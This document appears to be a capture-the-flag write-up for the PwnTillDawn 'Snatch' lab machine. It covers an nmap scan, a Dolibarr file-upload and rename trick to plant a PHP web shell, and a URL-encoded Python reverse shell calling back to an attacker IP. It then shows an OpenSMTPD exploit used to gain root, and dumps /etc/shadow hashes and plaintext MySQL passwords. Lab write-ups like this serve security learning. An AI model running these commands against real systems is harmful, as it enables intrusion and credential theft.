ptd-snatch-private

lets start with a nmap scan

┌─[user@parrot-virtual]─[~/ptd/snatch]
└──╼ $cat allports.nmap 
# Nmap 7.91 scan initiated Sat Feb 13 12:31:31 2021 as: nmap -p- -oN allports.nmap 10.150.150.199
Nmap scan report for 10.150.150.199
Host is up (0.033s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

# Nmap done at Sat Feb 13 12:31:53 2021 -- 1 IP address (1 host up) scanned in 22.20 seconds
┌─[user@parrot-virtual]─[~/ptd/snatch]

snatch
http://10.150.150.199/admin
shows
vhost:franky.pwntilldawn.com

FLAG61=2971f3459fe55db1298aad5e0f0a259a41633962

next we add 10.150.150.199 franky.pwntilldawn.com to etc/hosts

tried but no result

 ┌─[user@parrot-virtual]─[~/ptd/brandy] └──╼ $sqlmap -r reqsnatch.req —tamper=charencode

Jonne, [15.02.21 15:35]
Je kunt ergens een file upload doen

Je moet dan wel even met de devoloper tools de Choose File en Upload file buttons enablen (zijn disabled in the DOM)

Of natuurlijk met burp doen, maar dat is onhandiger denk ik in dit geval

En dan kun je dus gewoon een shell.php uploaden met je favoriete shell erin

Die wordt dan voor de veiligheid gerenamed naar shell.php.noexe

En die kun je dan vervolgens renamen naar shell.php 😉

Die rename gaat zo:

curl –referer ‘http://franky.pwntilldawn.com/comm/propal/document.php?id=1&mainmenu=home’ –cookie DOLSESSID_c2e899e59b3dcdcc533935c1230f85d7=h9ugb3ke3qhdbqa3bj9c3o45ff http://franky.pwntilldawn.com/comm/propal/document.php?id=1 -d ‘action=renamefile&modulepart=user&renamefilefrom=shell.php.noexe&renamefileto=shell.php&renamefilesave=Save’

kijk eens in /var/www 😉

/var/documents/backdoor.php ben ik trouwens ook al een paar keer tegengekomen, wel grappig

– cat /var/www/FLAG63
FLAG63=185d65d0fd6049385cd53eae8be28b2c79023bc2

command to catch shell

curl ‘http://franky.pwntilldawn.com/documents/propale/(PROV1)/shell.php?cmd=export%20RHOST%3D%2210.66.66.42%22%3Bexport%20RPORT%3D9002%3Bpython3%20-c%20%27import%20sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28os.getenv%28%22RHOST%22%29%2Cint%28os.getenv%28%22RPORT%22%29%29%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cfd%29%20for%20fd%20in%20%280%2C1%2C2%29%5D%3Bpty.spawn%28%22%2Fbin%2Fsh%22%29%27’

upgrade to root

www-data@Snatch:/tmp$

python3 1.py 127.0.0.1 25 ‘chmod +s /bin/bash’

python3 1.py 127.0.0.1 25 'chmod +s /bin/bash'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done
www-data@Snatch:/tmp$

bash -p

bash -p
bash-4.4#

id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-4.4#

cd /root

cd /root
bash-4.4#

ls
FLAG64
bash-4.4#

cat FLAG64

cat FLAG64
This was a tricky machine ... so if you read this, well done!

FLAG64=e075fab32dea389109b4a555555e9b4fb87d2feb
bash-4.4#

other info found but unneeded

bash-4.4#

cat .mysql_history

cat .mysql_history
CREATE DATABASE dolibarrdb character set UTF8 collate utf8_bin;
CREATE USER dolibarr;
GRANT ALL PRIVILEGES ON dolibarrdb.* TO 'dolibarr'@'localhost' IDENTIFIED BY 'mypassword';
GRANT ALL PRIVILEGES ON dolibarrdb.* TO 'dolibarr'@'localhost' IDENTIFIED BY 'doli123';
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON dolibarrdb.* TO 'root'@'localhost' IDENTIFIED BY 'Dol!123###';
FLUSH PRIVILEGES;
use DATABASE dolibarrdb;
use dolibarrdb;
select * from llx_user;
select * from llx_user; | more
use dolibarrdb;
select * from llx_user; | more
d
use dolibarrdb;
select * from llx_user;
select * from llx_user where user = "admin"
;
select * from llx_user where user = "admin";
select * from llx_user where username = "admin";
select * from llx_user where login = "admin";
use dolibarrdb;
select * from llx_user where login = "admin";
use dolibarrdb;
select * from llx_user where login = "ro";
select * from llx_user where login = "rick";
use dolibarrdb;
select * from llx_user where login = "rick";
select * from llx_user where login = "clif";
select * from llx_user where login = "cliff";
select * from llx_user where user = "cliff";
select * from llx_user where user = "cliff"
use dolibarrdb;
select * from llx_user where user = "cliff";
select * from llx_user where login = "cliff";
bash-4.4#


bash-4.4#

cat /etc/shadow

cat /etc/shadow
root:*:18295:0:99999:7:::
--snip--
mysql:!:18356:0:99999:7:::
brandy:$6$RuiaYFAl$a3fWptLaRSblY5Z3jkasInf6oLKrS8dUTcfL1H.KKbH9AOBTZN0nT4vHbI9tdFs4uXjkNq2F2hofDSEsDqPWp/:18365:0:99999:7:::
opensmtpd:*:18365:0:99999:7:::
opensmtpq:*:18365:0:99999:7:::
bash-4.4#

bash-4.4#

mysql -u root -p

mysql -u root -p
Enter password:

Dol!123###

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 29
Server version: 10.1.44-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

show databases;

show databases;
+--------------------+
| Database |
+--------------------+
| dolibarrdb |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.03 sec)

MariaDB [(none)]>

Author : Puckiestyle

Leave a Reply Cancel reply